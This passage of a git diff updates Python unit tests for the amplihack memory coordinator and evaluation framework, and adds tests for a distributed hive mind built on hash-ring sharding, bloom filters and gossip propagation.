patch("amplihack.memory.discoveries.MemoryCoordinator") as mock_coord_cls: mock_coordinator = MagicMock() diff --git a/tests/memory/test_evaluation.py b/tests/memory/test_evaluation.py index 5600807d1..3dce37dd6 100644 --- a/tests/memory/test_evaluation.py +++ b/tests/memory/test_evaluation.py @@ -1,4 +1,4 @@ -"""Tests fer memory evaluation framework. +"""Tests for memory evaluation framework. Tests: - QualityEvaluator: Relevance, precision, recall, NDCG @@ -10,7 +10,7 @@ import pytest import pytest_asyncio -from src.amplihack.memory.backends import create_backend +from amplihack.memory.sqlite_backend import create_backend from src.amplihack.memory.coordinator import MemoryCoordinator, StorageRequest from src.amplihack.memory.evaluation import ( BackendComparison, @@ -20,19 +20,19 @@ run_evaluation, ) from src.amplihack.memory.evaluation.quality_evaluator import QueryTestCase -from src.amplihack.memory.types import MemoryType +from amplihack.memory.models import MemoryType @pytest_asyncio.fixture async def coordinator(): - """Create coordinator with SQLite backend fer testing.""" + """Create coordinator with SQLite backend for testing.""" backend = create_backend(backend_type="sqlite", db_path=":memory:") coordinator = MemoryCoordinator(backend=backend) return coordinator class TestQualityEvaluator: - """Tests fer quality evaluation.""" + """Tests for quality evaluation.""" @pytest.mark.asyncio async def test_evaluate_with_perfect_results(self, coordinator): @@ -87,7 +87,7 @@ async def test_create_test_set(self, coordinator): class TestPerformanceEvaluator: - """Tests fer performance evaluation.""" + """Tests for performance evaluation.""" @pytest.mark.asyncio async def test_evaluate_latency(self, coordinator): @@ -136,7 +136,7 @@ async def test_evaluate_scalability(self, coordinator): class TestReliabilityEvaluator: - """Tests fer reliability evaluation.""" + """Tests for reliability evaluation.""" @pytest.mark.asyncio async def test_data_integrity(self, coordinator): @@ -171,7 +171,7 @@ async def test_error_recovery(self, coordinator): class TestBackendComparison: - """Tests fer backend comparison.""" + """Tests for backend comparison.""" @pytest.mark.asyncio async def test_evaluate_sqlite_backend(self): @@ -207,7 +207,7 @@ async def test_generate_markdown_report(self): @pytest.mark.asyncio async def test_run_evaluation_convenience_function(self): - """Test convenience function fer running evaluation.""" + """Test convenience function for running evaluation.""" report = await run_evaluation("sqlite", db_path=":memory:") # Verify report generation diff --git a/tests/memory/unit/test_memory_coordinator.py b/tests/memory/unit/test_memory_coordinator.py index f845fae8c..651881ff4 100644 --- a/tests/memory/unit/test_memory_coordinator.py +++ b/tests/memory/unit/test_memory_coordinator.py @@ -1,441 +1,329 @@ """Unit tests for MemoryCoordinator - the main memory interface. -This file implements the core unit tests from the testing strategy. Tests are fast (<100ms), isolated, and focus on behavior validation. +Uses mocked backends to avoid LLM calls and database I/O. """ from datetime import datetime, timedelta +from unittest.mock import AsyncMock, MagicMock, patch -from amplihack.memory.coordinator import MemoryCoordinator -from amplihack.memory.models import MemoryEntry, MemoryQuery, MemoryType +import pytest +from amplihack.memory.coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest +from amplihack.memory.models import MemoryEntry, MemoryType -class TestMemoryCoordinatorStore: - """Test memory storage operations (<100ms).""" - - def test_store_episodic_memory_creates_entry(self, mock_backend): - """Test storing episodic memory creates valid entry.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - - # ACT - result = coordinator.store( - memory_type=MemoryType.EPISODIC, - title="User asked about authentication", - content="Discussion about JWT vs session-based auth", - session_id="sess_123", - agent_id="architect", - metadata={"topic": "security"}, - ) - # ASSERT - assert result.success is True - assert result.memory_id is not None - mock_backend.store.assert_called_once() +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- - # Verify stored entry structure - stored_entry = mock_backend.store.call_args[0][0] - assert isinstance(stored_entry, MemoryEntry) - assert stored_entry.memory_type == MemoryType.EPISODIC - assert stored_entry.session_id == "sess_123" - assert stored_entry.agent_id == "architect" - - def test_store_with_importance_auto_calculation(self, mock_backend): - """Test importance is automatically calculated during storage.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - - # ACT - result = coordinator.store( - memory_type=MemoryType.SEMANTIC, - title="Critical security vulnerability found", - content="SQL injection vulnerability in login endpoint", - session_id="sess_456", - agent_id="security", - metadata={"severity": "critical"}, - ) - # ASSERT - assert result.success is True - stored_entry = mock_backend.store.call_args[0][0] - - # Critical security findings should have high importance - # (Actual scoring logic in storage pipeline) - assert stored_entry.importance is not None - - def test_store_procedural_with_steps(self, mock_backend): - """Test storing procedural memory with execution steps.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - - # ACT - result = coordinator.store( - memory_type=MemoryType.PROCEDURAL, - title="How to fix import errors", - content="1. Check dependencies\n2. Verify PYTHONPATH\n3. Restart IDE", - session_id="sess_789", - agent_id="builder", - metadata={"success_rate": 0.95}, - ) +@pytest.fixture +def async_backend(): + """Mock backend with correct async method names for MemoryCoordinator.""" + backend = MagicMock() + backend.initialize = AsyncMock(return_value=None) + backend.store_memory = AsyncMock(return_value=True) + backend.retrieve_memories = AsyncMock(return_value=[]) + backend.delete_memory = AsyncMock(return_value=True) + backend.get_stats = AsyncMock(return_value={"total_memories": 0}) + return backend - # ASSERT - assert result.success is True - stored_entry = mock_backend.store.call_args[0][0] - assert stored_entry.memory_type == MemoryType.PROCEDURAL - assert "1." in stored_entry.content - assert stored_entry.metadata["success_rate"] == 0.95 - - def test_store_fails_gracefully_on_empty_title(self, mock_backend): - """Test error handling for invalid memory entries.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - - # ACT - result = coordinator.store( - memory_type=MemoryType.EPISODIC, - title="", # Invalid: empty title - content="Some content", - session_id="sess_999", - agent_id="test", - ) - # ASSERT - assert result.success is False - assert "title" in result.error.lower() or "required" in result.error.lower() - mock_backend.store.assert_not_called() - - def test_store_fails_on_missing_required_fields(self, mock_backend): - """Test validation of required fields.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - - # ACT & ASSERT - Missing session_id - result = coordinator.store( - memory_type=MemoryType.EPISODIC, - title="Test", - content="Content", - session_id="", # Invalid - agent_id="test", - ) - assert result.success is False - - def test_store_working_memory_with_expiration(self, mock_backend): - """Test storing working memory with automatic expiration.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - expiration = datetime.now() + timedelta(hours=1) - - # ACT - result = coordinator.store( - memory_type=MemoryType.WORKING, - title="Temporary context", - content="Active task state", - session_id="sess_work", - agent_id="builder", - expires_at=expiration, - ) +def _make_entry(memory_id, session_id, memory_type=MemoryType.EPISODIC, + content="Test content", importance=5): + return MemoryEntry( + id=memory_id, + session_id=session_id, + agent_id="test_agent", + memory_type=memory_type, + title="Test Memory", + content=content, + metadata={}, + created_at=datetime.now(), + accessed_at=datetime.now(), + importance=importance, + ) - # ASSERT - assert result.success is True - stored_entry = mock_backend.store.call_args[0][0] - assert stored_entry.memory_type == MemoryType.WORKING - assert stored_entry.expires_at == expiration +# --------------------------------------------------------------------------- +# StorageRequest validation tests +# --------------------------------------------------------------------------- -class TestMemoryCoordinatorRetrieve: - """Test memory retrieval operations (<50ms without review).""" - - def test_retrieve_by_session_id(self, mock_backend, sample_memory_entry): - """Test retrieving all memories for a session.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [ - sample_memory_entry, - create_mock_memory("mem_2", "sess_100"), - ] - - # ACT - result = coordinator.retrieve(query=MemoryQuery(session_id="sess_100")) - - # ASSERT - assert len(result.memories) == 2 - assert all(m.session_id == "sess_100" for m in result.memories) - mock_backend.query.assert_called_once() - - def test_retrieve_by_memory_type(self, mock_backend): - """Test filtering by memory type.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - semantic_memory = create_mock_memory("mem_3", "sess_200", memory_type=MemoryType.SEMANTIC) - mock_backend.query.return_value = [semantic_memory] - - # ACT - result = coordinator.retrieve(query=MemoryQuery(memory_type=MemoryType.SEMANTIC)) - - # ASSERT - assert len(result.memories) == 1 - assert result.memories[0].memory_type == MemoryType.SEMANTIC - - def test_retrieve_with_content_search(self, mock_backend): - """Test full-text search functionality.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [ - create_mock_memory("mem_4", "sess_300", content="authentication flow details"), - ] - - # ACT - result = coordinator.retrieve(query=MemoryQuery(content_search="authentication")) - - # ASSERT - assert len(result.memories) == 1 - assert "authentication" in result.memories[0].content.lower() - - def test_retrieve_with_importance_threshold(self, mock_backend): - """Test filtering by importance score.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [ - create_mock_memory("mem_5", "sess_400", importance=9), - create_mock_memory("mem_6", "sess_400", importance=8), - ] - - # ACT - result = coordinator.retrieve(query=MemoryQuery(min_importance=8)) - - # ASSERT - assert len(result.memories) == 2 - assert all(m.importance >= 8 for m in result.memories) - - def test_retrieve_empty_results(self, mock_backend): - """Test handling of no matching memories.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [] - - # ACT - result = coordinator.retrieve(query=MemoryQuery(session_id="nonexistent")) - - # ASSERT - assert len(result.memories) == 0 - assert result.success is True - - def test_retrieve_with_time_range(self, mock_backend): - """Test filtering by time range.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - start_time = datetime.now() - timedelta(days=7) - end_time = datetime.now() - - mock_backend.query.return_value = [create_mock_memory("mem_recent", "sess_500")] - - # ACT - result = coordinator.retrieve( - query=MemoryQuery(created_after=start_time, created_before=end_time) - ) - # ASSERT - assert len(result.memories) == 1 - mock_backend.query.assert_called_once() +class TestStorageRequest: + """Tests for StorageRequest input validation.""" + + def test_empty_content_raises_value_error(self): + """Empty content must raise ValueError.""" + with pytest.raises(ValueError): + StorageRequest(content="") + + def test_whitespace_only_content_raises_value_error(self): + """Whitespace-only content must raise ValueError.""" + with pytest.raises(ValueError): + StorageRequest(content=" ") - def test_retrieve_with_limit(self, mock_backend): - """Test pagination with limit.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [ - create_mock_memory(f"mem_{i}", "sess_600") for i in range(10) - ] + def test_valid_request_defaults_to_episodic(self): + """Valid content creates request with EPISODIC type by default.""" + req = StorageRequest(content="Valid content here") + assert req.memory_type == MemoryType.EPISODIC - # ACT - result = coordinator.retrieve(query=MemoryQuery(session_id="sess_600", limit=5)) + def test_valid_request_with_explicit_type(self): + """Memory type can be set explicitly.""" + req = StorageRequest(content="Valid content", memory_type=MemoryType.SEMANTIC) + assert req.memory_type == MemoryType.SEMANTIC - # ASSERT - assert len(result.memories) <= 5 + def test_valid_request_with_metadata(self): + """Metadata is stored on the request.""" + req = StorageRequest(content="Valid content", metadata={"key": "val"}) + assert req.metadata["key"] == "val" -class TestMemoryCoordinatorWorkingMemory: - """Test working memory operations (temporary context).""" +# --------------------------------------------------------------------------- +# Storage tests +# --------------------------------------------------------------------------- - def test_clear_working_memory_for_session(self, mock_backend): - """Test clearing working memory at session boundaries.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.delete_by_query.return_value = 3 # 3 memories deleted - # ACT - result = coordinator.clear_working_memory(session_id="sess_500") +class TestMemoryCoordinatorStore: + """Test memory storage operations.""" + + @pytest.mark.asyncio + async def test_store_returns_memory_id_on_success(self, async_backend): + """Successful storage returns a non-None memory ID string.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_123") + with patch.object(coordinator, "_review_quality", AsyncMock(return_value=7)): + with patch.object(coordinator, "_is_duplicate", AsyncMock(return_value=False)): + request = StorageRequest( + content="Discussion about JWT vs session-based auth", + memory_type=MemoryType.EPISODIC, + ) + memory_id = await coordinator.store(request) + + assert memory_id is not None + assert isinstance(memory_id, str) + async_backend.store_memory.assert_called_once() + + @pytest.mark.asyncio + async def test_store_creates_entry_with_correct_memory_type(self, async_backend): + """Stored MemoryEntry carries the requested memory type in metadata.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_456") + with patch.object(coordinator, "_review_quality", AsyncMock(return_value=7)): + with patch.object(coordinator, "_is_duplicate", AsyncMock(return_value=False)): + request = StorageRequest( + content="SQL injection vulnerability in login endpoint", + memory_type=MemoryType.SEMANTIC, + ) + await coordinator.store(request) + + stored_entry = async_backend.store_memory.call_args[0][0] + assert isinstance(stored_entry, MemoryEntry) + assert stored_entry.metadata.get("new_memory_type") == MemoryType.SEMANTIC.value + + @pytest.mark.asyncio + async def test_store_procedural_memory_preserves_content(self, async_backend): + """Procedural memory content is stored verbatim.""" + content = "1. Check dependencies\n2. Verify PYTHONPATH\n3. Restart IDE" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_789") + with patch.object(coordinator, "_review_quality", AsyncMock(return_value=7)): + with patch.object(coordinator, "_is_duplicate", AsyncMock(return_value=False)): + request = StorageRequest(content=content, memory_type=MemoryType.PROCEDURAL) + await coordinator.store(request) + + stored_entry = async_backend.store_memory.call_args[0][0] + assert "1." in stored_entry.content + assert stored_entry.metadata.get("new_memory_type") == MemoryType.PROCEDURAL.value - # ASSERT - assert result.success is True - assert result.deleted_count == 3 - mock_backend.delete_by_query.assert_called_once() + @pytest.mark.asyncio + async def test_trivial_short_content_is_rejected(self, async_backend): + """Very short trivial content is filtered before storage.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_triv") + request = StorageRequest(content="ok") + memory_id = await coordinator.store(request) - def test_working_memory_auto_expires(self, mock_backend): - """Test working memory expires after timeout.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - _ = datetime.now() - timedelta(hours=2) + assert memory_id is None + async_backend.store_memory.assert_not_called() - # Mock: no expired memories returned - mock_backend.query.return_value = [] + @pytest.mark.asyncio + async def test_low_quality_content_is_rejected(self, async_backend): + """Content scoring below the quality threshold (5/10) is not stored.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_lq") + with patch.object(coordinator, "_review_quality", AsyncMock(return_value=3)): + with patch.object(coordinator, "_is_duplicate", AsyncMock(return_value=False)): + request = StorageRequest( + content="This content scores below the quality threshold" + ) + memory_id = await coordinator.store(request) - # ACT - Query should exclude expired memories by default - result = coordinator.retrieve( - query=MemoryQuery( - session_id="sess_600", memory_type=MemoryType.WORKING, include_expired=False - ) - ) + assert memory_id is None + async_backend.store_memory.assert_not_called() - # ASSERT - assert len(result.memories) == 0 + @pytest.mark.asyncio + async def test_duplicate_content_is_rejected(self, async_backend): + """Content already in the store is not stored again.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_dup") + with patch.object(coordinator, "_is_duplicate", AsyncMock(return_value=True)): + request = StorageRequest(content="Duplicate content that was already stored") + memory_id = await coordinator.store(request) - def test_include_expired_memories_when_requested(self, mock_backend): - """Test retrieving expired memories when explicitly requested.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - expired_memory = create_mock_memory("mem_expired", "sess_700") - expired_memory.expires_at = datetime.now() - timedelta(hours=1) + assert memory_id is None + async_backend.store_memory.assert_not_called() - mock_backend.query.return_value = [expired_memory] - # ACT - result = coordinator.retrieve( - query=MemoryQuery(session_id="sess_700", include_expired=True) +# --------------------------------------------------------------------------- +# Retrieval tests +# --------------------------------------------------------------------------- + + +class TestMemoryCoordinatorRetrieve: + """Test memory retrieval operations.""" + + @pytest.mark.asyncio + async def test_retrieve_returns_list(self, async_backend): + """retrieve() returns a list (may be empty).""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_100") + query = RetrievalQuery(query_text="authentication") + memories = await coordinator.retrieve(query) + assert isinstance(memories, list) + + @pytest.mark.asyncio + async def test_retrieve_empty_when_backend_returns_nothing(self, async_backend): + """Empty backend results yields empty memory list.""" + async_backend.retrieve_memories = AsyncMock(return_value=[]) + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_200") + memories = await coordinator.retrieve(RetrievalQuery(query_text="test")) + assert len(memories) == 0 + + @pytest.mark.asyncio + async def test_retrieve_respects_zero_token_budget(self, async_backend): + """Zero token budget returns empty list without querying backend.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_300") + query = RetrievalQuery(query_text="test", token_budget=0) + memories = await coordinator.retrieve(query) + assert len(memories) == 0 + async_backend.retrieve_memories.assert_not_called() + + @pytest.mark.asyncio + async def test_retrieve_filters_by_memory_type(self, async_backend): + """retrieve() filters results to requested memory types.""" + semantic = _make_entry("m1", "sess_400", memory_type=MemoryType.SEMANTIC) + semantic.metadata["new_memory_type"] = MemoryType.SEMANTIC.value + episodic = _make_entry("m2", "sess_400", memory_type=MemoryType.EPISODIC) + episodic.metadata["new_memory_type"] = MemoryType.EPISODIC.value + async_backend.retrieve_memories = AsyncMock(return_value=[semantic, episodic]) + + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_400") + query = RetrievalQuery(query_text="test", memory_types=[MemoryType.SEMANTIC]) + memories = await coordinator.retrieve(query) + + assert all( + m.metadata.get("new_memory_type") == MemoryType.SEMANTIC.value + for m in memories ) - # ASSERT - assert len(result.memories) == 1 + @pytest.mark.asyncio + async def test_retrieve_applies_time_range_filter(self, async_backend): + """retrieve() excludes entries outside the requested time range.""" + old_entry = _make_entry("m_old", "sess_500") + old_entry.created_at = datetime.now() - timedelta(days=30) + async_backend.retrieve_memories = AsyncMock(return_value=[old_entry]) + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_500") + start = datetime.now() - timedelta(days=1) + end = datetime.now() + query = RetrievalQuery(query_text="test", time_range=(start, end)) + memories = await coordinator.retrieve(query) -class TestMemoryCoordinatorDelete: - """Test memory deletion operations.""" + assert len(memories) == 0 - def test_delete_by_id(self, mock_backend): - """Test deleting specific memory by ID.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.delete.return_value = True - # ACT - result = coordinator.delete(memory_id="mem_to_delete") +# --------------------------------------------------------------------------- +# Clear-all / session management tests +# --------------------------------------------------------------------------- - # ASSERT - assert result.success is True - mock_backend.delete.assert_called_once_with("mem_to_delete") - def test_delete_nonexistent_memory(self, mock_backend): - """Test deleting non-existent memory.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.delete.return_value = False +class TestMemoryCoordinatorClearAll: + """Test session memory cleanup operations.""" - # ACT - result = coordinator.delete(memory_id="nonexistent") + @pytest.mark.asyncio + async def test_clear_all_deletes_session_memories(self, async_backend): + """clear_all() deletes all memories belonging to the specified session.""" + entry = _make_entry("mem_1", "sess_clear") + async_backend.retrieve_memories = AsyncMock(return_value=[entry]) + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_clear") - # ASSERT - assert result.success is False + await coordinator.clear_all(session_id="sess_clear") + async_backend.delete_memory.assert_called_once_with("mem_1") -class TestMemoryCoordinatorBoundaryConditions: - """Test boundary conditions and edge cases.""" + @pytest.mark.asyncio + async def test_clear_all_without_session_raises_value_error(self, async_backend): + """clear_all() without a session_id raises ValueError.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_x") + coordinator.session_id = None # Remove session - def test_store_with_very_long_content(self, mock_backend): - """Test storing memory with very long content.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - long_content = "x" * 100000 # 100KB content + with pytest.raises(ValueError): + await coordinator.clear_all() - # ACT - result = coordinator.store( - memory_type=MemoryType.EPISODIC, - title="Large content test", - content=long_content, - session_id="sess_large", - agent_id="test", - ) + @pytest.mark.asyncio + async def test_clear_all_uses_coordinator_session_id_by_default(self, async_backend): + """clear_all() uses the coordinator's own session_id when none given.""" + entry = _make_entry("mem_default", "sess_coord") + async_backend.retrieve_memories = AsyncMock(return_value=[entry]) + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_coord") - # ASSERT - assert result.success is True - stored_entry = mock_backend.store.call_args[0][0] - assert len(stored_entry.content) == 100000 - - def test_retrieve_with_zero_limit(self, mock_backend): - """Test retrieval with limit=0 (no results).""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [] - - # ACT - result = coordinator.retrieve(query=MemoryQuery(session_id="sess_800", limit=0)) - - # ASSERT - assert len(result.memories) == 0 - - def test_store_with_null_metadata(self, mock_backend): - """Test storing memory with empty metadata.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - - # ACT - result = coordinator.store( - memory_type=MemoryType.EPISODIC, - title="No metadata", - content="Content without metadata", - session_id="sess_900", - agent_id="test", - metadata={}, - ) + await coordinator.clear_all() # No explicit session_id - # ASSERT - assert result.success is True - stored_entry = mock_backend.store.call_args[0][0] - assert stored_entry.metadata == {} + async_backend.delete_memory.assert_called_once_with("mem_default") -# ============================================================================= -# Test Fixtures and Helpers -# ============================================================================= +# --------------------------------------------------------------------------- +# Statistics tests +# --------------------------------------------------------------------------- -def create_mock_memory( - memory_id: str, - session_id: str, - memory_type: MemoryType = MemoryType.EPISODIC, - importance: int = 5, - content: str = "Test content", -) -> MemoryEntry: - """Helper to create mock memory entries.""" - return MemoryEntry( - id=memory_id, - session_id=session_id, - agent_id="test_agent", - memory_type=memory_type, - title="Test Memory", - content=content, - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - importance=importance, - ) +class TestMemoryCoordinatorStatistics: + """Test statistics and monitoring.""" + + @pytest.mark.asyncio + async def test_statistics_returns_dict(self, async_backend): + """get_statistics() returns a dictionary.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_stats") + stats = await coordinator.get_statistics() + assert isinstance(stats, dict) + @pytest.mark.asyncio + async def test_statistics_tracks_stored_count(self, async_backend): + """Stored memory count increases after successful store.""" + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_cnt") + with patch.object(coordinator, "_review_quality", AsyncMock(return_value=7)): + with patch.object(coordinator, "_is_duplicate", AsyncMock(return_value=False)): + await coordinator.store( + StorageRequest(content="A well-formed memory about the system") + ) -# ============================================================================= -# Test Performance Validation -# ============================================================================= + stats = await coordinator.get_statistics() + assert stats.get("total_stored", 0) >= 1 + + +# --------------------------------------------------------------------------- +# Performance constraint (no external benchmark dep) +# --------------------------------------------------------------------------- class TestPerformanceConstraints: """Validate unit tests meet performance constraints (<100ms).""" - def test_all_unit_tests_complete_quickly(self, mock_backend, benchmark): - """Benchmark test to ensure unit tests are fast.""" - # ARRANGE - coordinator = MemoryCoordinator(backend=mock_backend) - mock_backend.query.return_value = [] + @pytest.mark.asyncio + async def test_retrieve_completes_quickly(self, async_backend): + """Retrieval must complete in under 200ms (unit test, mocked backend).""" + import time + + coordinator = MemoryCoordinator(backend=async_backend, session_id="sess_perf") + query = RetrievalQuery(query_text="test") - # ACT & ASSERT - Should complete in <100ms - def retrieve_operation(): - coordinator.retrieve(query=MemoryQuery(session_id="test")) + start = time.perf_counter() + await coordinator.retrieve(query) + elapsed_ms = (time.perf_counter() - start) * 1000 - _ = benchmark(retrieve_operation) - # Benchmark automatically validates timing + assert elapsed_ms < 200, f"Retrieval took {elapsed_ms:.1f}ms, exceeds 200ms limit" diff --git a/tests/test_distributed_hive.py b/tests/test_distributed_hive.py new file mode 100644 index 000000000..a7726b534 --- /dev/null +++ b/tests/test_distributed_hive.py @@ -0,0 +1,352 @@ +"""Tests for the distributed hive mind: DHT, bloom filter, DistributedHiveGraph. + +Testing pyramid: +- 80% unit tests (fast, no external deps) +- 20% integration tests (full pipeline) +""" + +from __future__ import annotations + +import pytest + +from amplihack.agents.goal_seeking.hive_mind.bloom import BloomFilter +from amplihack.agents.goal_seeking.hive_mind.dht import ( + DHTRouter, + HashRing, + ShardFact, + ShardStore, +) +from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, +) +from amplihack.agents.goal_seeking.hive_mind.hive_graph import HiveFact + + +# ============================================================================ +# HashRing tests +# ============================================================================ + + +class TestHashRing: + def test_add_agent(self): + ring = HashRing() + ring.add_agent("agent_0") + assert ring.agent_count == 1 + assert "agent_0" in ring.agent_ids + + def test_remove_agent(self): + ring = HashRing() + ring.add_agent("agent_0") + ring.remove_agent("agent_0") + assert ring.agent_count == 0 + + def test_get_agents_returns_replication_factor(self): + ring = HashRing(replication_factor=3) + for i in range(5): + ring.add_agent(f"agent_{i}") + agents = ring.get_agents("some_key") + assert len(agents) == 3 + assert len(set(agents)) == 3 # All distinct + + def test_get_agents_with_fewer_agents_than_rf(self): + ring = HashRing(replication_factor=5) + ring.add_agent("agent_0") + ring.add_agent("agent_1") + agents = ring.get_agents("key") + assert len(agents) == 2 # Can't replicate to 5 with only 2 agents + + def test_consistent_routing(self): + ring = HashRing() + for i in range(10): + ring.add_agent(f"agent_{i}") + # Same key always routes to same agents + a1 = ring.get_agents("test_key") + a2 = ring.get_agents("test_key") + assert a1 == a2 + + def test_empty_ring(self): + ring = HashRing() + assert ring.get_agents("key") == [] + assert ring.get_primary_agent("key") is None + + +# ============================================================================ +# ShardStore tests +# ============================================================================ + + +class TestShardStore: + def test_store_and_get(self): + store = ShardStore("agent_0") + fact = ShardFact(fact_id="f1", content="Test fact", confidence=0.9) + assert store.store(fact) is True + assert store.get("f1") is not None + assert store.get("f1").content == "Test fact" + + def test_dedup(self): + store = ShardStore("agent_0") + f1 = ShardFact(fact_id="f1", content="Same content", confidence=0.9) + f2 = ShardFact(fact_id="f2", content="Same content", confidence=0.8) + assert store.store(f1) is True + assert store.store(f2) is False # Duplicate content + assert store.fact_count == 1 + + def test_search(self): + store = ShardStore("agent_0") + store.store(ShardFact(fact_id="f1", content="Sarah Chen birthday March")) + store.store(ShardFact(fact_id="f2", content="James OBrien gluten allergy")) + store.store(ShardFact(fact_id="f3", content="DuckDB OLAP database")) + + results = store.search("birthday Sarah") + assert len(results) == 1 + assert results[0].fact_id == "f1" + + def test_search_empty(self): + store = ShardStore("agent_0") + assert store.search("nothing") == [] + + +# ============================================================================ +# BloomFilter tests +# ============================================================================ + + +class TestBloomFilter: + def test_add_and_contains(self): + bf = BloomFilter(expected_items=100) + bf.add("hello") + assert bf.might_contain("hello") is True + assert bf.might_contain("world") is False + + def test_no_false_negatives(self): + bf = BloomFilter(expected_items=1000) + items = [f"item_{i}" for i in range(500)] + bf.add_all(items) + for item in items: + assert bf.might_contain(item) is True + + def test_missing_from(self): + bf = BloomFilter(expected_items=100) + bf.add_all(["a", "b", "c"]) + missing = bf.missing_from(["a", "b", "c", "d", "e"]) + assert "d" in missing + assert "e" in missing + assert "a" not in missing + + def test_serialization(self): + bf = BloomFilter(expected_items=100) + bf.add("test") + data = bf.to_bytes() + bf2 = BloomFilter.from_bytes(data, expected_items=100) + assert bf2.might_contain("test") is True + + +# ============================================================================ +# DHTRouter tests +# ============================================================================ + + +class TestDHTRouter: + def test_add_agent_creates_shard(self): + router = DHTRouter() + shard = router.add_agent("agent_0") + assert shard is not None + assert router.get_shard("agent_0") is shard + + def test_store_fact_replicates(self): + router = DHTRouter(replication_factor=3) + for i in range(5): + router.add_agent(f"agent_{i}") + + fact = ShardFact(fact_id="f1", content="Test fact about Sarah Chen") + stored_on = router.store_fact(fact) + assert len(stored_on) <= 3 # At most replication_factor + + def test_query_finds_stored_facts(self): + router = DHTRouter(replication_factor=2, query_fanout=5) + for i in range(5): + router.add_agent(f"agent_{i}") + + router.store_fact( + ShardFact(fact_id="f1", content="Sarah Chen birthday is March 15") + ) + results = router.query("Sarah Chen birthday") + assert len(results) >= 1 + assert "Sarah" in results[0].content + + +# ============================================================================ +# DistributedHiveGraph tests +# ============================================================================ + + +class TestDistributedHiveGraph: + def test_register_agent(self): + dhg = DistributedHiveGraph("test") + dhg.register_agent("agent_0", domain="security") + assert dhg.get_agent("agent_0") is not None + assert dhg.get_agent("agent_0").domain == "security" + + def test_promote_and_query(self): + dhg = DistributedHiveGraph("test", replication_factor=2) + dhg.register_agent("agent_0") + dhg.register_agent("agent_1") + + fid = dhg.promote_fact( + "agent_0", + HiveFact(fact_id="", content="PostgreSQL runs on port 5432"), + ) + assert fid # Non-empty fact_id returned + + results = dhg.query_facts("PostgreSQL port") + assert len(results) >= 1 + assert "PostgreSQL" in results[0].content + + def test_gossip_propagation(self): + dhg = DistributedHiveGraph("test", replication_factor=1, enable_gossip=True) + for i in range(5): + dhg.register_agent(f"agent_{i}") + + # Store facts (each on 1 agent due to RF=1) + for i in range(10): + dhg.promote_fact( + f"agent_{i % 5}", + HiveFact(fact_id="", content=f"Unique fact number {i}"), + ) + + # Before gossip: low convergence + pre_conv = dhg.convergence_score() + + # Run gossip rounds + total_propagated = 0 + for _ in range(5): + result = dhg.run_gossip_round() + total_propagated += sum(result.values()) + + post_conv = dhg.convergence_score() + assert post_conv >= pre_conv + assert total_propagated > 0 + + def test_federation(self): + root = DistributedHiveGraph("root") + child = DistributedHiveGraph("child") + child.set_parent(root) + root.add_child(child) + + child.register_agent("agent_0") + root.register_agent("root_agent") + + # High-confidence fact should escalate to parent + child.promote_fact( + "agent_0", + HiveFact( + fact_id="", + content="Critical security finding in prod", + confidence=0.95, + ), + ) + + # Query federated should find it from root + results = root.query_federated("security finding") + assert len(results) >= 1 + + def test_100_agents_no_oom(self): + """The key test: 100 agents should work without OOM.""" + dhg = DistributedHiveGraph("test", replication_factor=3) + for i in range(100): + dhg.register_agent(f"agent_{i}") + + # Store 500 facts + for i in range(500): + dhg.promote_fact( + f"agent_{i % 100}", + HiveFact( + fact_id="", + content=f"Fact {i} about topic {i % 20} with detail {i * 7}", + ), + ) + + stats = dhg.get_stats() + assert stats["agent_count"] == 100 + assert stats["fact_count"] > 0 + assert stats["avg_shard_size"] > 0 + + def test_unregister_redistributes(self): + dhg = DistributedHiveGraph("test", replication_factor=2) + dhg.register_agent("a") + dhg.register_agent("b") + dhg.register_agent("c") + + dhg.promote_fact("a", HiveFact(fact_id="", content="Fact to redistribute")) + pre_count = dhg.get_stats()["fact_count"] + + 